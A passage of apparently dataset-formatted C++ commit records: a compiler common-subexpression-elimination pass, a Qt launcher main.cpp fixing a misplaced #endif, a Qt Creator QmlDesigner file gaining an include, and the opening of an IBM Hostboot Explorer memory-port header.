false;\n for(auto& expression : out.values()){\n if(are_equivalent(*ptr, expression.expression)){\n exists = true;\n break;\n }\n }\n\n if(!exists){\n Expression expression;\n expression.expression = *ptr;\n expression.source = basic_block;\n\n out.values().push_back(expression);\n }\n }\n }\n\n return out;\n}\n\nProblemDomain mtac::CommonSubexpressionElimination::Boundary(std::shared_ptr<mtac::Function> \/*function*\/){\n return default_element();\n}\n\nProblemDomain mtac::CommonSubexpressionElimination::Init(std::shared_ptr<mtac::Function> function){\n if(init){\n ProblemDomain result(*init);\n return result;\n }\n\n typename ProblemDomain::Values values;\n \n for(auto& block : function->getBasicBlocks()){\n for(auto& statement : block->statements){\n if(auto* ptr = boost::get<std::shared_ptr<mtac::Quadruple>>(&statement)){\n if(mtac::is_expression((*ptr)->op)){\n bool exists = false;\n for(auto& expression : values){\n if(are_equivalent(*ptr, expression.expression)){\n exists = true;\n break;\n }\n }\n \n if(!exists){\n Expression expression;\n expression.expression = *ptr;\n expression.source = block;\n\n values.push_back(expression);\n }\n }\n }\n }\n }\n\n init = values;\n \n ProblemDomain result(values);\n return result;\n}\n\nbool mtac::CommonSubexpressionElimination::optimize(mtac::Statement& statement, std::shared_ptr<mtac::DataFlowResults<ProblemDomain>>& global_results){\n auto& results = global_results->IN_S[statement];\n\n if(auto* ptr = boost::get<std::shared_ptr<mtac::Quadruple>>(&statement)){\n auto quadruple = *ptr;\n\n if(mtac::is_expression(quadruple->op)){\n for(auto& expression : results.values()){\n if(are_equivalent(expression.expression, quadruple)){\n auto source_statement = expression.expression;\n \n mtac::Operator assign_op;\n if(quadruple->op >= mtac::Operator::ADD && quadruple->op <= mtac::Operator::MOD){\n assign_op = mtac::Operator::ASSIGN;\n } else if(quadruple->op >= mtac::Operator::FADD && quadruple->op <= mtac::Operator::FDIV){\n assign_op = mtac::Operator::FASSIGN;\n }\n\n if(optimized.find(source_statement->result) == optimized.end()){\n std::shared_ptr<Variable> temp;\n if(quadruple->op >= mtac::Operator::ADD && quadruple->op <= mtac::Operator::MOD){\n temp = expression.source->context->new_temporary(INT);\n } else if(quadruple->op >= mtac::Operator::FADD && quadruple->op <= mtac::Operator::FDIV){\n temp = expression.source->context->new_temporary(FLOAT);\n }\n\n auto it = expression.source->statements.begin();\n auto end = expression.source->statements.end();\n\n while(it != end){\n if(boost::get<std::shared_ptr<Quadruple>>(&*it)){\n auto target = boost::get<std::shared_ptr<Quadruple>>(*it);\n if(target == source_statement){\n source_statement->result = temp;\n \n auto quadruple = std::make_shared<mtac::Quadruple>(source_statement->result, temp, assign_op);\n\n ++it;\n expression.source->statements.insert(it, quadruple);\n\n break;\n }\n }\n }\n\n quadruple->op = assign_op;\n quadruple->arg1 = temp;\n quadruple->arg2.reset();\n \n optimized[source_statement->result] = temp;\n }\n\n quadruple->op = assign_op;\n quadruple->arg1 = source_statement->result;\n quadruple->arg2.reset();\n\n return true;\n }\n }\n }\n }\n\n return false;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <QApplication>\n#include <QDebug>\n#include <QSysInfo>\n#include <QFile>\n#include <QFont>\n#include <QLibrary>\n\nusing namespace std;\n\n#ifdef QT_OS_ANDROID\n#include <jni.h>\nextern \"C\" int state_run (int,char **,char *,bool,void *,void *);\nextern \"C\" void javaOnLoad(JavaVM * vm, JNIEnv * env);\n#else\ntypedef int (*Run)(int,char **,char *,bool,void *,void *);\nextern \"C\" char * jepath1(char* arg);\n#endif\n\nint main(int argc, char *argv[])\n{\n#if defined(__MACH__) && !defined(QT50)\n if ( QSysInfo::MacintoshVersion > QSysInfo::MV_10_8 ) {\n \/\/ fix Mac OS X 10.9 (mavericks) font issue\n \/\/ https:\/\/bugreports.qt-project.org\/browse\/QTBUG-32789\n QFont::insertSubstitution(\".Lucida Grande UI\", \"Lucida Grande\");\n }\n#endif\n#ifdef QT_OS_ANDROID\n char path[1]= {'\\0'};\n#else\n char *path=jepath1(argv[0]); \/\/ get path to JFE folder\n#endif\n\n bool fhs = false;\n#ifdef _WIN32\n QString s= QString::fromUtf8(path)+ \"\/jqt\";\n if(!(QFile(s.append(\".dll\"))).exists()) {\n s= \"jqt.dll\";\n fhs = true;\n }\n#else\n QString s= QString::fromUtf8(path)+ \"\/libjqt\";\n#if defined(__MACH__)\n if(!(QFile(s.append(\".dylib\"))).exists()) {\n#else\n if(!(QFile(s.append(\".so\"))).exists()) {\n#endif\n#if defined(__MACH__)\n s= \"libjqt.dylib\";\n#else\n s= \"libjqt.so\";\n#endif\n fhs = true;\n }\n#ifdef QT_OS_ANDROID\n return state_run(argc, argv, s.toUtf8().data(),fhs,0,(void *)-1);\n#else\n QLibrary *lib=new QLibrary(s);\n Run state_run=(Run) lib->resolve(\"state_run\");\n if (state_run)\n return state_run(argc, argv, lib->fileName().toUtf8().data(),fhs,0,(void *)-1);\n#endif\n\n#ifndef QT_OS_ANDROID\n qDebug() << lib->fileName();\n qDebug() << \"could not resolve: state_run:\\n\\n\" + lib->errorString();\n#endif\n\n return -1;\n#endif\n}\n\n#ifdef QT_OS_ANDROID\nJNIEXPORT jint JNI_OnLoad(JavaVM* vm, void*)\n{\n JNIEnv *jnienv;\n if (vm->GetEnv(reinterpret_cast<void**>(&jnienv), JNI_VERSION_1_6) != JNI_OK) {\n qCritical() << \"JNI_OnLoad GetEnv Failed\";\n return -1;\n }\n javaOnLoad(vm, jnienv);\n\n return JNI_VERSION_1_6;\n}\n#endif\n<commit_msg>fix main.cpp #endif error<commit_after>#include <QApplication>\n#include <QDebug>\n#include <QSysInfo>\n#include <QFile>\n#include <QFont>\n#include <QLibrary>\n\nusing namespace std;\n\n#ifdef QT_OS_ANDROID\n#include <jni.h>\nextern \"C\" int state_run (int,char **,char *,bool,void *,void *);\nextern \"C\" void javaOnLoad(JavaVM * vm, JNIEnv * env);\n#else\ntypedef int (*Run)(int,char **,char *,bool,void *,void *);\nextern \"C\" char * jepath1(char* arg);\n#endif\n\nint main(int argc, char *argv[])\n{\n#if defined(__MACH__) && !defined(QT50)\n if ( QSysInfo::MacintoshVersion > QSysInfo::MV_10_8 ) {\n \/\/ fix Mac OS X 10.9 (mavericks) font issue\n \/\/ https:\/\/bugreports.qt-project.org\/browse\/QTBUG-32789\n QFont::insertSubstitution(\".Lucida Grande UI\", \"Lucida Grande\");\n }\n#endif\n#ifdef QT_OS_ANDROID\n char path[1]= {'\\0'};\n#else\n char *path=jepath1(argv[0]); \/\/ get path to JFE folder\n#endif\n\n bool fhs = false;\n#ifdef _WIN32\n QString s= QString::fromUtf8(path)+ \"\/jqt\";\n if(!(QFile(s.append(\".dll\"))).exists()) {\n s= \"jqt.dll\";\n fhs = true;\n }\n#else\n QString s= QString::fromUtf8(path)+ \"\/libjqt\";\n#if defined(__MACH__)\n if(!(QFile(s.append(\".dylib\"))).exists()) {\n#else\n if(!(QFile(s.append(\".so\"))).exists()) {\n#endif\n#if defined(__MACH__)\n s= \"libjqt.dylib\";\n#else\n s= \"libjqt.so\";\n#endif\n fhs = true;\n }\n#endif\n#ifdef QT_OS_ANDROID\n return state_run(argc, argv, s.toUtf8().data(),fhs,0,(void *)-1);\n#else\n QLibrary *lib=new QLibrary(s);\n Run state_run=(Run) lib->resolve(\"state_run\");\n if (state_run)\n return state_run(argc, argv, lib->fileName().toUtf8().data(),fhs,0,(void *)-1);\n#endif\n\n#ifndef QT_OS_ANDROID\n qDebug() << lib->fileName();\n qDebug() << \"could not resolve: state_run:\\n\\n\" + lib->errorString();\n#endif\n\n return -1;\n}\n\n#ifdef QT_OS_ANDROID\nJNIEXPORT jint JNI_OnLoad(JavaVM* vm, void*)\n{\n JNIEnv *jnienv;\n if (vm->GetEnv(reinterpret_cast<void**>(&jnienv), JNI_VERSION_1_6) != JNI_OK) {\n qCritical() << \"JNI_OnLoad GetEnv Failed\";\n return -1;\n }\n javaOnLoad(vm, jnienv);\n\n return JNI_VERSION_1_6;\n}\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/****************************************************************************\n**\n** Copyright (C) 2013 Digia Plc and\/or its subsidiary(-ies).\n** Contact: http:\/\/www.qt-project.org\/legal\n**\n** This file is part of Qt Creator.\n**\n** Commercial License Usage\n** Licensees holding valid commercial Qt licenses may use this file in\n** accordance with the commercial license agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and Digia. For licensing terms and\n** conditions see http:\/\/qt.digia.com\/licensing. For further information\n** use the contact form at http:\/\/qt.digia.com\/contact-us.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file. Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Digia gives you certain additional\n** rights. These rights are described in the Digia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n****************************************************************************\/\n\n#include \"documentmanager.h\"\n#include \"qmldesignerplugin.h\"\n\n#include <modelnode.h>\n#include <nodemetainfo.h>\n#include <nodeproperty.h>\n#include <bindingproperty.h>\n\nnamespace QmlDesigner {\n\nstatic inline DesignDocument* currentDesignDocument()\n{\n return QmlDesignerPlugin::instance()->documentManager().currentDesignDocument();\n}\n\nstatic inline void getProperties(const ModelNode node, QHash<PropertyName, QVariant> &propertyHash)\n{\n if (QmlObjectNode::isValidQmlObjectNode(node)) {\n foreach (const AbstractProperty &abstractProperty, node.properties()) {\n if (abstractProperty.isVariantProperty()\n || (abstractProperty.isBindingProperty()\n && !abstractProperty.name().contains(\"anchors.\")))\n propertyHash.insert(abstractProperty.name(), QmlObjectNode(node).instanceValue(abstractProperty.name()));\n }\n\n if (QmlItemNode::isValidQmlItemNode(node)) {\n QmlItemNode itemNode(node);\n\n propertyHash.insert(\"width\", itemNode.instanceValue(\"width\"));\n propertyHash.insert(\"height\", itemNode.instanceValue(\"height\"));\n propertyHash.remove(\"x\");\n propertyHash.remove(\"y\");\n propertyHash.remove(\"rotation\");\n propertyHash.remove(\"opacity\");\n }\n }\n}\n\nstatic inline void applyProperties(ModelNode &node, const QHash<PropertyName, QVariant> &propertyHash)\n{\n QHash<PropertyName, QVariant> auxiliaryData = node.auxiliaryData();\n\n foreach (const PropertyName &propertyName, auxiliaryData.keys()) {\n if (node.hasAuxiliaryData(propertyName))\n node.setAuxiliaryData(propertyName, QVariant());\n }\n\n QHashIterator<PropertyName, QVariant> propertyIterator(propertyHash);\n while (propertyIterator.hasNext()) {\n propertyIterator.next();\n const PropertyName propertyName = propertyIterator.key();\n if (propertyName == \"width\" || propertyName == \"height\") {\n node.setAuxiliaryData(propertyIterator.key(), propertyIterator.value());\n } else if (node.property(propertyIterator.key()).isDynamic() &&\n node.property(propertyIterator.key()).dynamicTypeName() == \"alias\" &&\n node.property(propertyIterator.key()).isBindingProperty()) {\n AbstractProperty targetProperty = node.bindingProperty(propertyIterator.key()).resolveToProperty();\n if (targetProperty.isValid())\n targetProperty.parentModelNode().setAuxiliaryData(targetProperty.name() + \"@NodeInstance\", propertyIterator.value());\n } else {\n node.setAuxiliaryData(propertyIterator.key() + \"@NodeInstance\", propertyIterator.value());\n }\n }\n}\n\nstatic inline void openFileForComponent(const ModelNode &node)\n{\n QmlDesignerPlugin::instance()->viewManager().nextFileIsCalledInternally();\n\n \/\/int width = 0;\n \/\/int height = 0;\n QHash<PropertyName, QVariant> propertyHash;\n if (node.metaInfo().isFileComponent()) {\n \/\/getWidthHeight(node, width, height);\n getProperties(node, propertyHash);\n Core::EditorManager::openEditor(node.metaInfo().componentFileName(), Core::Id(), Core::EditorManager::DoNotMakeVisible);\n } else if (node.metaInfo().isView() &&\n node.hasNodeProperty(\"delegate\") &&\n node.nodeProperty(\"delegate\").modelNode().metaInfo().isFileComponent()) {\n \/\/getWidthHeight(node, width, height);\n getProperties(node, propertyHash);\n Core::EditorManager::openEditor(node.nodeProperty(\"delegate\").modelNode().metaInfo().componentFileName(),\n Core::Id(), Core::EditorManager::DoNotMakeVisible);\n }\n ModelNode rootModelNode = currentDesignDocument()->rewriterView()->rootModelNode();\n applyProperties(rootModelNode, propertyHash);\n \/\/rootModelNode.setAuxiliaryData(\"width\", width);\n \/\/rootModelNode.setAuxiliaryData(\"height\", height);\n}\n\nstatic inline void openInlineComponent(const ModelNode &node)\n{\n\n if (!node.isValid() || !node.metaInfo().isValid())\n return;\n\n if (!currentDesignDocument())\n return;\n\n QHash<PropertyName, QVariant> propertyHash;\n\n if (node.nodeSourceType() == ModelNode::NodeWithComponentSource) {\n \/\/getWidthHeight(node, width, height);\n getProperties(node, propertyHash);\n currentDesignDocument()->changeToSubComponent(node);\n } else if (node.metaInfo().isView()\n && node.hasNodeProperty(\"delegate\")\n && node.nodeProperty(\"delegate\").modelNode().nodeSourceType() == ModelNode::NodeWithComponentSource) {\n \/\/getWidthHeight(node, width, height);\n getProperties(node, propertyHash);\n currentDesignDocument()->changeToSubComponent(node.nodeProperty(\"delegate\").modelNode());\n }\n\n ModelNode rootModelNode = currentDesignDocument()->rewriterView()->rootModelNode();\n applyProperties(rootModelNode, propertyHash);\n \/\/rootModelNode.setAuxiliaryData(\"width\", width);\n \/\/rootModelNode.setAuxiliaryData(\"height\", height);\n}\n\nstatic inline bool isFileComponent(const ModelNode &node)\n{\n if (!node.isValid() || !node.metaInfo().isValid())\n return false;\n\n if (node.metaInfo().isFileComponent())\n return true;\n\n if (node.metaInfo().isView() &&\n node.hasNodeProperty(\"delegate\")) {\n if (node.nodeProperty(\"delegate\").modelNode().metaInfo().isFileComponent())\n return true;\n }\n\n return false;\n}\n\nDocumentManager::DocumentManager()\n : QObject()\n{\n}\n\nDocumentManager::~DocumentManager()\n{\n foreach (const QWeakPointer<DesignDocument> &designDocument, m_designDocumentHash)\n delete designDocument.data();\n}\n\nvoid DocumentManager::setCurrentDesignDocument(Core::IEditor *editor)\n{\n if (editor) {\n m_currentDesignDocument = m_designDocumentHash.value(editor);\n if (m_currentDesignDocument == 0) {\n m_currentDesignDocument = new DesignDocument;\n m_designDocumentHash.insert(editor, m_currentDesignDocument);\n m_currentDesignDocument->setEditor(editor);\n }\n } else {\n m_currentDesignDocument->resetToDocumentModel();\n m_currentDesignDocument.clear();\n }\n}\n\nDesignDocument *DocumentManager::currentDesignDocument() const\n{\n return m_currentDesignDocument.data();\n}\n\nbool DocumentManager::hasCurrentDesignDocument() const\n{\n return m_currentDesignDocument.data();\n}\n\nvoid DocumentManager::removeEditors(QList<Core::IEditor *> editors)\n{\n foreach (Core::IEditor *editor, editors)\n delete m_designDocumentHash.take(editor).data();\n}\n\nvoid DocumentManager::goIntoComponent(const ModelNode &modelNode)\n{\n if (modelNode.isValid() && modelNode.isComponent()) {\n QmlDesignerPlugin::instance()->viewManager().setComponentNode(modelNode);\n if (isFileComponent(modelNode))\n openFileForComponent(modelNode);\n else\n openInlineComponent(modelNode);\n }\n}\n\n\n} \/\/ namespace QmlDesigner\n<commit_msg>QmlDesigner: adding missing include<commit_after>\/****************************************************************************\n**\n** Copyright (C) 2013 Digia Plc and\/or its subsidiary(-ies).\n** Contact: http:\/\/www.qt-project.org\/legal\n**\n** This file is part of Qt Creator.\n**\n** Commercial License Usage\n** Licensees holding valid commercial Qt licenses may use this file in\n** accordance with the commercial license agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and Digia. For licensing terms and\n** conditions see http:\/\/qt.digia.com\/licensing. For further information\n** use the contact form at http:\/\/qt.digia.com\/contact-us.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file. Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Digia gives you certain additional\n** rights. These rights are described in the Digia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n****************************************************************************\/\n\n#include \"documentmanager.h\"\n#include \"qmldesignerplugin.h\"\n\n#include <modelnode.h>\n#include <qmlitemnode.h>\n#include <nodemetainfo.h>\n#include <nodeproperty.h>\n#include <bindingproperty.h>\n\nnamespace QmlDesigner {\n\nstatic inline DesignDocument* currentDesignDocument()\n{\n return QmlDesignerPlugin::instance()->documentManager().currentDesignDocument();\n}\n\nstatic inline void getProperties(const ModelNode node, QHash<PropertyName, QVariant> &propertyHash)\n{\n if (QmlObjectNode::isValidQmlObjectNode(node)) {\n foreach (const AbstractProperty &abstractProperty, node.properties()) {\n if (abstractProperty.isVariantProperty()\n || (abstractProperty.isBindingProperty()\n && !abstractProperty.name().contains(\"anchors.\")))\n propertyHash.insert(abstractProperty.name(), QmlObjectNode(node).instanceValue(abstractProperty.name()));\n }\n\n if (QmlItemNode::isValidQmlItemNode(node)) {\n QmlItemNode itemNode(node);\n\n propertyHash.insert(\"width\", itemNode.instanceValue(\"width\"));\n propertyHash.insert(\"height\", itemNode.instanceValue(\"height\"));\n propertyHash.remove(\"x\");\n propertyHash.remove(\"y\");\n propertyHash.remove(\"rotation\");\n propertyHash.remove(\"opacity\");\n }\n }\n}\n\nstatic inline void applyProperties(ModelNode &node, const QHash<PropertyName, QVariant> &propertyHash)\n{\n QHash<PropertyName, QVariant> auxiliaryData = node.auxiliaryData();\n\n foreach (const PropertyName &propertyName, auxiliaryData.keys()) {\n if (node.hasAuxiliaryData(propertyName))\n node.setAuxiliaryData(propertyName, QVariant());\n }\n\n QHashIterator<PropertyName, QVariant> propertyIterator(propertyHash);\n while (propertyIterator.hasNext()) {\n propertyIterator.next();\n const PropertyName propertyName = propertyIterator.key();\n if (propertyName == \"width\" || propertyName == \"height\") {\n node.setAuxiliaryData(propertyIterator.key(), propertyIterator.value());\n } else if (node.property(propertyIterator.key()).isDynamic() &&\n node.property(propertyIterator.key()).dynamicTypeName() == \"alias\" &&\n node.property(propertyIterator.key()).isBindingProperty()) {\n AbstractProperty targetProperty = node.bindingProperty(propertyIterator.key()).resolveToProperty();\n if (targetProperty.isValid())\n targetProperty.parentModelNode().setAuxiliaryData(targetProperty.name() + \"@NodeInstance\", propertyIterator.value());\n } else {\n node.setAuxiliaryData(propertyIterator.key() + \"@NodeInstance\", propertyIterator.value());\n }\n }\n}\n\nstatic inline void openFileForComponent(const ModelNode &node)\n{\n QmlDesignerPlugin::instance()->viewManager().nextFileIsCalledInternally();\n\n \/\/int width = 0;\n \/\/int height = 0;\n QHash<PropertyName, QVariant> propertyHash;\n if (node.metaInfo().isFileComponent()) {\n \/\/getWidthHeight(node, width, height);\n getProperties(node, propertyHash);\n Core::EditorManager::openEditor(node.metaInfo().componentFileName(), Core::Id(), Core::EditorManager::DoNotMakeVisible);\n } else if (node.metaInfo().isView() &&\n node.hasNodeProperty(\"delegate\") &&\n node.nodeProperty(\"delegate\").modelNode().metaInfo().isFileComponent()) {\n \/\/getWidthHeight(node, width, height);\n getProperties(node, propertyHash);\n Core::EditorManager::openEditor(node.nodeProperty(\"delegate\").modelNode().metaInfo().componentFileName(),\n Core::Id(), Core::EditorManager::DoNotMakeVisible);\n }\n ModelNode rootModelNode = currentDesignDocument()->rewriterView()->rootModelNode();\n applyProperties(rootModelNode, propertyHash);\n \/\/rootModelNode.setAuxiliaryData(\"width\", width);\n \/\/rootModelNode.setAuxiliaryData(\"height\", height);\n}\n\nstatic inline void openInlineComponent(const ModelNode &node)\n{\n\n if (!node.isValid() || !node.metaInfo().isValid())\n return;\n\n if (!currentDesignDocument())\n return;\n\n QHash<PropertyName, QVariant> propertyHash;\n\n if (node.nodeSourceType() == ModelNode::NodeWithComponentSource) {\n \/\/getWidthHeight(node, width, height);\n getProperties(node, propertyHash);\n currentDesignDocument()->changeToSubComponent(node);\n } else if (node.metaInfo().isView()\n && node.hasNodeProperty(\"delegate\")\n && node.nodeProperty(\"delegate\").modelNode().nodeSourceType() == ModelNode::NodeWithComponentSource) {\n \/\/getWidthHeight(node, width, height);\n getProperties(node, propertyHash);\n currentDesignDocument()->changeToSubComponent(node.nodeProperty(\"delegate\").modelNode());\n }\n\n ModelNode rootModelNode = currentDesignDocument()->rewriterView()->rootModelNode();\n applyProperties(rootModelNode, propertyHash);\n \/\/rootModelNode.setAuxiliaryData(\"width\", width);\n \/\/rootModelNode.setAuxiliaryData(\"height\", height);\n}\n\nstatic inline bool isFileComponent(const ModelNode &node)\n{\n if (!node.isValid() || !node.metaInfo().isValid())\n return false;\n\n if (node.metaInfo().isFileComponent())\n return true;\n\n if (node.metaInfo().isView() &&\n node.hasNodeProperty(\"delegate\")) {\n if (node.nodeProperty(\"delegate\").modelNode().metaInfo().isFileComponent())\n return true;\n }\n\n return false;\n}\n\nDocumentManager::DocumentManager()\n : QObject()\n{\n}\n\nDocumentManager::~DocumentManager()\n{\n foreach (const QWeakPointer<DesignDocument> &designDocument, m_designDocumentHash)\n delete designDocument.data();\n}\n\nvoid DocumentManager::setCurrentDesignDocument(Core::IEditor *editor)\n{\n if (editor) {\n m_currentDesignDocument = m_designDocumentHash.value(editor);\n if (m_currentDesignDocument == 0) {\n m_currentDesignDocument = new DesignDocument;\n m_designDocumentHash.insert(editor, m_currentDesignDocument);\n m_currentDesignDocument->setEditor(editor);\n }\n } else {\n m_currentDesignDocument->resetToDocumentModel();\n m_currentDesignDocument.clear();\n }\n}\n\nDesignDocument *DocumentManager::currentDesignDocument() const\n{\n return m_currentDesignDocument.data();\n}\n\nbool DocumentManager::hasCurrentDesignDocument() const\n{\n return m_currentDesignDocument.data();\n}\n\nvoid DocumentManager::removeEditors(QList<Core::IEditor *> editors)\n{\n foreach (Core::IEditor *editor, editors)\n delete m_designDocumentHash.take(editor).data();\n}\n\nvoid DocumentManager::goIntoComponent(const ModelNode &modelNode)\n{\n if (modelNode.isValid() && modelNode.isComponent()) {\n QmlDesignerPlugin::instance()->viewManager().setComponentNode(modelNode);\n if (isFileComponent(modelNode))\n openFileForComponent(modelNode);\n else\n openInlineComponent(modelNode);\n }\n}\n\n\n} \/\/ namespace QmlDesigner\n<|endoftext|>"} {"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/ocmb\/explorer\/procedures\/hwp\/memory\/lib\/mc\/exp_port.H $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2019,2022 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\n\/\/\/\n\/\/\/ @file exp_port.H\n\/\/\/ @brief Code to support ports\n\/\/\/\n\/\/ *HWP HWP Owner: Stephen Glancy <sglancy@us.ibm.com>\n\/\/ *HWP HWP Backup: Louis Stermole <stermole@us.ibm.com>\n\/\/ *HWP Team: Memory\n\/\/ *HWP Level: 3\n\/\/ *HWP Consumed by: HB:FSP\n\n#ifndef __MSS_EXP_PORT_H_\n#define __MSS_EXP_PORT_H_\n\n#include <fapi2.H>\n#include <explorer_scom_addresses.H>\n#include <explorer_scom_addresses_fld.H>\n#include <explorer_scom_addresses_fld_fixes.H>\n#include <lib\/exp_attribute_accessors_manual.H>\n#include <lib\/utils\/mss_exp_conversions.H>\n#include <mss_explorer_attribute_getters.H>\n#include <lib\/shared\/exp_consts.H>\n#include <lib\/dimm\/exp_rank.H>\n#include <generic\/memory\/lib\/utils\/mc\/gen_mss_port.H>\n#include <generic\/memory\/lib\/utils\/mc\/gen_mss_restore_repairs.H>\n#include <generic\/memory\/lib\/utils\/shared\/mss_generic_consts.H>\n#include <mss_generic_attribute_getters.H>\n\nnamespace mss\n{\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Traits values for EXPLORER\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\n\/\/\/ @class Traits and policy class for port code - specialization for Explorer. The target of registers is TARGET_TYPE_OCMB_CHIP\n\/\/\/\ntemplate<>\nclass portTraits< mss::mc_type::EXPLORER >\n{\n public:\n \/\/ MC_TYPE\n static constexpr fapi2::TargetType MC_TARGET_TYPE = fapi2::TARGET_TYPE_OCMB_CHIP;\n\n \/\/ PORT_TYPE\n static constexpr fapi2::TargetType PORT_TYPE = fapi2::TARGET_TYPE_MEM_PORT;\n\n \/\/ scom register definition\n static constexpr uint64_t MBARPC0Q_REG = EXPLR_SRQ_MBARPC0Q;\n\n static constexpr uint64_t FARB0Q_REG = EXPLR_SRQ_MBA_FARB0Q;\n static constexpr uint64_t FARB5Q_REG = EXPLR_SRQ_MBA_FARB5Q;\n static constexpr uint64_t FARB6Q_REG = EXPLR_SRQ_MBA_FARB6Q;\n static constexpr uint64_t FARB9Q_REG = EXPLR_SRQ_MBA_FARB9Q;\n static constexpr uint64_t PMU8Q_REG = EXPLR_SRQ_MBA_PMU8Q;\n static constexpr uint64_t REFRESH_REG = EXPLR_SRQ_MBAREF0Q;\n static constexpr uint64_t STR0Q_REG = EXPLR_SRQ_MBASTR0Q;\n static constexpr uint64_t ECC_REG = EXPLR_RDF_RECR;\n static constexpr uint64_t CTCR_REG = EXPLR_RDF_CTCR;\n static constexpr uint64_t DSM0Q_REG = EXPLR_SRQ_MBA_DSM0Q;\n static constexpr uint64_t FWMS_REG = EXPLR_RDF_FWMS0;\n\n static constexpr uint64_t RRQ_REG = EXPLR_SRQ_MBA_RRQ0Q;\n static constexpr uint64_t WRQ_REG = EXPLR_SRQ_MBA_WRQ0Q;\n\n static constexpr uint64_t MAGIC_NUMBER_SIM = 765;\n static constexpr uint64_t MAGIC_NUMBER_NOT_SIM = 196605;\n\n \/\/ This number includes the two spare nibbles, it is compared against\n \/\/ the actual nibble index we're at\n static constexpr uint8_t MAX_NIBBLE_IDX = 19;\n\n \/\/ scom register field definition\n enum\n {\n CFG_MIN_MAX_DOMAINS_ENABLE = EXPLR_SRQ_MBARPC0Q_CFG_MIN_MAX_DOMAINS_ENABLE,\n CFG_CCS_INST_RESET_ENABLE = EXPLR_SRQ_MBA_FARB5Q_CFG_CCS_INST_RESET_ENABLE,\n CFG_DDR_RESETN = EXPLR_SRQ_MBA_FARB5Q_CFG_DDR_RESETN,\n CFG_CCS_ADDR_MUX_SEL = EXPLR_SRQ_MBA_FARB5Q_CFG_CCS_ADDR_MUX_SEL,\n CFG_INIT_COMPLETE = EXPLR_SRQ_MBA_PMU8Q_CFG_INIT_COMPLETE,\n CFG_ZQ_PER_CAL_ENABLE = EXPLR_SRQ_MBA_FARB9Q_CFG_ZQ_PER_CAL_ENABLE,\n\n REFRESH_ENABLE = EXPLR_SRQ_MBAREF0Q_CFG_REFRESH_ENABLE,\n\n CFG_FORCE_STR = EXPLR_SRQ_MBASTR0Q_CFG_FORCE_STR,\n\n ECC_CHECK_DISABLE = EXPLR_RDF_RECR_MBSECCQ_DISABLE_MEMORY_ECC_CHECK_CORRECT,\n ECC_CORRECT_DISABLE = EXPLR_RDF_RECR_MBSECCQ_DISABLE_MEMORY_ECC_CORRECT,\n ECC_USE_ADDR_HASH = EXPLR_RDF_RECR_MBSECCQ_USE_ADDRESS_HASH,\n\n PORT_FAIL_DISABLE = EXPLR_SRQ_MBA_FARB0Q_CFG_PORT_FAIL_DISABLE,\n DFI_INIT_START = EXPLR_SRQ_MBA_FARB0Q_CFG_INIT_START,\n RCD_RECOVERY_DISABLE = EXPLR_SRQ_MBA_FARB0Q_CFG_DISABLE_RCD_RECOVERY,\n BW_WINDOW_SIZE = EXPLR_SRQ_MBA_FARB0Q_CFG_BW_WINDOW_SIZE,\n BW_WINDOW_SIZE_LEN = EXPLR_SRQ_MBA_FARB0Q_CFG_BW_WINDOW_SIZE_LEN,\n BW_SNAPSHOT = EXPLR_SRQ_MBA_FARB6Q_CFG_BW_SNAPSHOT,\n BW_SNAPSHOT_LEN = EXPLR_SRQ_MBA_FARB6Q_CFG_BW_SNAPSHOT_LEN,\n\n RECR_ENABLE_MPE_NOISE_WINDOW = EXPLR_RDF_RECR_MBSECCQ_ENABLE_MPE_NOISE_WINDOW,\n RECR_ENABLE_UE_NOISE_WINDOW = EXPLR_RDF_RECR_MBSECCQ_ENABLE_UE_NOISE_WINDOW,\n RECR_TCE_CORRECTION = EXPLR_RDF_RECR_MBSECCQ_ENABLE_TCE_CORRECTION,\n RECR_MBSECCQ_DATA_INVERSION = EXPLR_RDF_RECR_MBSECCQ_DATA_INVERSION,\n RECR_MBSECCQ_DATA_INVERSION_LEN = EXPLR_RDF_RECR_MBSECCQ_DATA_INVERSION_LEN,\n 